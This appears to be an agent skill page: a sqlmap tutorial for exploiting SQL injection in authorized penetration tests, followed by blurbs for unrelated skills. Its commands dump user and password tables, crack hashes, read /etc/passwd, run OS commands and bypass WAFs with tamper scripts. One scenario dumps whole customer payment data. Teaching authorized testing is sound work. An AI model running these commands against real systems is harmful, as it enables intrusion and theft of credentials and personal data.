exploiting-sql-injection-with-sqlmap
Detecting and exploiting SQL injection vulnerabilities using sqlmap to extract database contents during authorized penetration tests.
What this skill does
# Exploiting SQL Injection with sqlmap ## When to Use - During authorized web application penetration testing engagements - When manual testing reveals potential SQL injection points in parameters, headers, or cookies - For validating SQL injection findings from automated scanners like Burp Suite or OWASP ZAP - When you need to demonstrate the impact of SQL injection by extracting data from backend databases - During CTF challenges involving SQL injection exploitation ## Prerequisites - **Authorization**: Written penetration testing agreement (Rules of Engagement) for the target - **sqlmap**: Install via `pip install sqlmap` or `apt install sqlmap` on Kali Linux - **Python 3.6+**: Required runtime for sqlmap - **Burp Suite** (optional): For capturing and replaying HTTP requests - **Target access**: Network connectivity to the target web application - **Browser with proxy**: Firefox with FoxyProxy for intercepting requests ## Workflow ### Step 1: Identify Potential Injection Points Manually browse the application and identify parameters that interact with the database. Use Burp Suite to capture requests. ```bash # Start Burp Suite proxy and capture requests # Look for parameters in URLs, POST bodies, cookies, and headers # Example target URL with a suspected injectable parameter: # https://target.example.com/products?id=1 # Test manually for basic SQL injection indicators curl -k "https://target.example.com/products?id=1'" # Look for SQL error messages like: # - "You have an error in your SQL syntax" # - "ORA-01756: quoted string not properly terminated" # - "Microsoft SQL Native Client error" ``` ### Step 2: Run sqlmap Basic Detection Scan Launch sqlmap against the suspected injection point to confirm the vulnerability and identify the database type. ```bash # Basic GET parameter test sqlmap -u "https://target.example.com/products?id=1" --batch --random-agent # For POST requests (save the request from Burp Suite to a file) sqlmap -r request.txt --batch --random-agent # Test specific parameter in a POST request sqlmap -u "https://target.example.com/login" \ --data="username=admin&password=test" \ -p "username" --batch --random-agent # Test with cookie-based injection sqlmap -u "https://target.example.com/dashboard" \ --cookie="session=abc123; user_id=5" \ -p "user_id" --batch --random-agent ``` ### Step 3: Enumerate Database Structure Once injection is confirmed, enumerate databases, tables, and columns. ```bash # List all databases sqlmap -u "https://target.example.com/products?id=1" --dbs --batch --random-agent # List tables in a specific database sqlmap -u "https://target.example.com/products?id=1" \ -D target_db --tables --batch --random-agent # List columns in a specific table sqlmap -u "https://target.example.com/products?id=1" \ -D target_db -T users --columns --batch --random-agent ``` ### Step 4: Extract Data from Target Tables Dump the contents of sensitive tables to demonstrate impact. ```bash # Dump specific columns from a table sqlmap -u "https://target.example.com/products?id=1" \ -D target_db -T users -C "username,password,email" \ --dump --batch --random-agent # Dump with row limit to avoid excessive data extraction sqlmap -u "https://target.example.com/products?id=1" \ -D target_db -T users --dump --start=1 --stop=10 \ --batch --random-agent # Attempt to crack password hashes automatically sqlmap -u "https://target.example.com/products?id=1" \ -D target_db -T users -C "username,password" \ --dump --batch --passwords --random-agent ``` ### Step 5: Test for Advanced Exploitation Vectors Assess the full impact by testing OS-level access and file operations. ```bash # Check current database user and privileges sqlmap -u "https://target.example.com/products?id=1" \ --current-user --current-db --is-dba --batch --random-agent # Attempt to read server files (if DBA privileges exist) sqlmap -u "https://target.example.com/products?id=1" \ --file-read="/etc/passwd" --batch --random-agent # Attempt OS command execution (MySQL with FILE privilege) sqlmap -u "https://target.example.com/products?id=1" \ --os-cmd="whoami" --batch --random-agent ``` ### Step 6: Use Tamper Scripts to Bypass WAF/Filters When Web Application Firewalls or input filters block basic payloads, use tamper scripts. ```bash # Common tamper scripts for WAF bypass sqlmap -u "https://target.example.com/products?id=1" \ --tamper="space2comment,between,randomcase" \ --batch --random-agent # For specific WAF bypass (e.g., ModSecurity) sqlmap -u "https://target.example.com/products?id=1" \ --tamper="modsecurityversioned,modsecurityzeroversioned" \ --batch --random-agent # List all available tamper scripts sqlmap --list-tampers ``` ### Step 7: Generate Report and Clean Up Document findings and clean up any artifacts. ```bash # sqlmap stores results in ~/.local/share/sqlmap/output/ # Review the target output directory ls -la ~/.local/share/sqlmap/output/target.example.com/ # Export results with specific output directory sqlmap -u "https://target.example.com/products?id=1" \ -D target_db -T users --dump \ --output-dir="/tmp/pentest-results" \ --batch --random-agent # Clean sqlmap session data after engagement sqlmap --purge ``` ## Key Concepts | Concept | Description | |---------|-------------| | **Union-based SQLi** | Uses UNION SELECT to append attacker query results to the original query output | | **Blind Boolean SQLi** | Infers data one bit at a time by observing true/false application responses | | **Blind Time-based SQLi** | Uses database sleep functions (e.g., `SLEEP(5)`) to infer data based on response delays | | **Error-based SQLi** | Extracts data through verbose database error messages returned in HTTP responses | | **Stacked Queries** | Executes multiple SQL statements separated by semicolons for INSERT/UPDATE/DELETE operations | | **Out-of-band SQLi** | Exfiltrates data via DNS or HTTP requests initiated by the database server | | **Tamper Scripts** | sqlmap plugins that modify payloads to bypass WAFs and input sanitization filters | | **Second-order SQLi** | Injected payload is stored and executed later in a different query context | ## Tools & Systems | Tool | Purpose | |------|---------| | **sqlmap** | Automated SQL injection detection and exploitation framework | | **Burp Suite Professional** | HTTP proxy for intercepting, modifying, and replaying requests | | **OWASP ZAP** | Free alternative to Burp for web application scanning and proxying | | **Havij** | Automated SQL injection tool with GUI (Windows) | | **jSQL Injection** | Java-based GUI tool for SQL injection testing | | **DBeaver/DataGrip** | Database clients for verifying extracted data structure | ## Common Scenarios ### Scenario 1: E-commerce Product Page SQLi A product detail page uses `id` parameter directly in SQL query. Use sqlmap to extract the full customer database including payment information to demonstrate critical business impact. ### Scenario 2: Login Form Bypass A login form concatenates user input into an authentication query. Exploit to bypass authentication and enumerate all user credentials stored in the database. ### Scenario 3: Search Function with WAF Protection A search feature is vulnerable to SQL injection but protected by a WAF. Use tamper scripts like `space2comment` and `between` to encode payloads and bypass the filter rules. ### Scenario 4: Cookie-based Blind SQL Injection A session cookie value is used in a database query on the server side. Use time-based blind injection techniques to extract data character by character. ## Output Format ``` ## SQL Injection Finding **Vulnerability**: SQL Injection (Union-based) **Severity**: Critical (CVSS 9.8) **Location**: GET parameter `id` at /products?id=1 **Database**: MySQL 8.0.32 **Impact**: Full database read access, 15,000 user records exposed **OWASP Category**: A03:2021 - Injection ### Evidence - Injection point: `id` parameter (GET) -
Related in Backend & APIs
jfrog
IncludedInteract with the JFrog Platform via the JFrog CLI and REST/GraphQL APIs. Use this skill when the user wants to manage Artifactory repositories, upload or download artifacts, manage builds, configure permissions, manage users and groups, work with access tokens, configure JFrog CLI servers, search artifacts, manage properties, set up replication, manage JFrog Projects, run security audits or scans, look up CVE details, query exposures scan results from JFrog Advanced Security, manage release bundles and lifecycle operations, aggregate or export platform data, or perform any JFrog Platform administration task. Also use when the user mentions jf, jfrog, artifactory, xray, distribution, evidence, apptrust, onemodel, graphql, workers, mission control, curation, advanced security, exposures, or any JFrog product name.
cupynumeric-migration-readiness
IncludedPre-migration readiness assessor for porting NumPy to cuPyNumeric. Use BEFORE substantial porting work begins when the user asks whether code will scale on GPU, whether they should migrate to cuPyNumeric, which NumPy patterns transfer cleanly, what must be refactored before porting, or mentions pre-port assessment, scaling analysis, or refactor planning. Inspect the user's source code, look up NumPy usage, cross-reference the cuPyNumeric API support manifest, and distinguish distributed-scaling-friendly patterns from blockers such as unsupported APIs, scalar synchronization, host round-trips, Python/object-heavy control flow, shape/data-dependent branching, and in-place mutation hazards. Produce a verdict of READY, LIGHT REFACTOR, SIGNIFICANT REFACTOR, or NOT RECOMMENDED, with concrete refactor pointers.
alibabacloud-data-agent-skill
IncludedInvoke Alibaba Cloud Apsara Data Agent for Analytics via CLI to perform natural language-driven data analysis on enterprise databases. Data Agent for Analytics is an intelligent data analysis agent developed by Alibaba Cloud Database team for enterprise users. It automatically completes requirement analysis, data understanding, analysis insights, and report generation based on natural language descriptions. This tool supports: discovering data resources (instances/databases/tables) managed in DMS, initiating query or deep analysis sessions, real-time progress tracking, and retrieving analysis conclusions and generated reports. Use this Skill when users need to query databases, analyze data trends, generate data reports, ask questions in natural language, or mention "Data Agent", "data analysis", "database query", "SQL analysis", "data insights".
token-optimizer
IncludedReduce OpenClaw token usage and API costs through smart model routing, heartbeat optimization, budget tracking, and native 2026.2.15 features (session pruning, bootstrap size limits, cache TTL alignment). Use when token costs are high, API rate limits are being hit, or hosting multiple agents at scale. The 4 executable scripts (context_optimizer, model_router, heartbeat_optimizer, token_tracker) are local-only — no network requests, no subprocess calls, no system modifications. Reference files (PROVIDERS.md, config-patches.json) document optional multi-provider strategies that require external API keys and network access if you choose to use them. See SECURITY.md for full breakdown.
resend-cli
IncludedUse this skill when the task is specifically about operating Resend from an AI agent, terminal session, or CI job via the official resend CLI: installing/authenticating the CLI, sending/listing/updating/cancelling emails, batch sends, domains and DNS, webhooks and local listeners, inbound receiving, contacts, topics, segments, broadcasts, templates, API keys, profiles, or debugging Resend CLI/API failures. Trigger on mentions of Resend CLI, `resend`, `resend doctor`, `resend emails send`, `resend domains`, `resend webhooks listen`, `resend emails receiving`, or agent-friendly terminal automation.
alibabacloud-odps-maxframe-coding
IncludedUse this skill for MaxFrame SDK development and documentation navigation on Alibaba Cloud MaxCompute (ODPS). Helps answer MaxFrame API, concept, official example, and supported pandas API questions; create data processing programs; read/write MaxCompute tables; debug jobs (remote or local); and build custom DPE runtime images. Trigger when users mention MaxFrame, MaxCompute with MaxFrame, ODPS table processing, DPE runtime, MaxFrame docs/examples, DataFrame/Tensor operations, or GPU runtime setup. Works for both English and Chinese queries about Alibaba Cloud data processing with MaxFrame.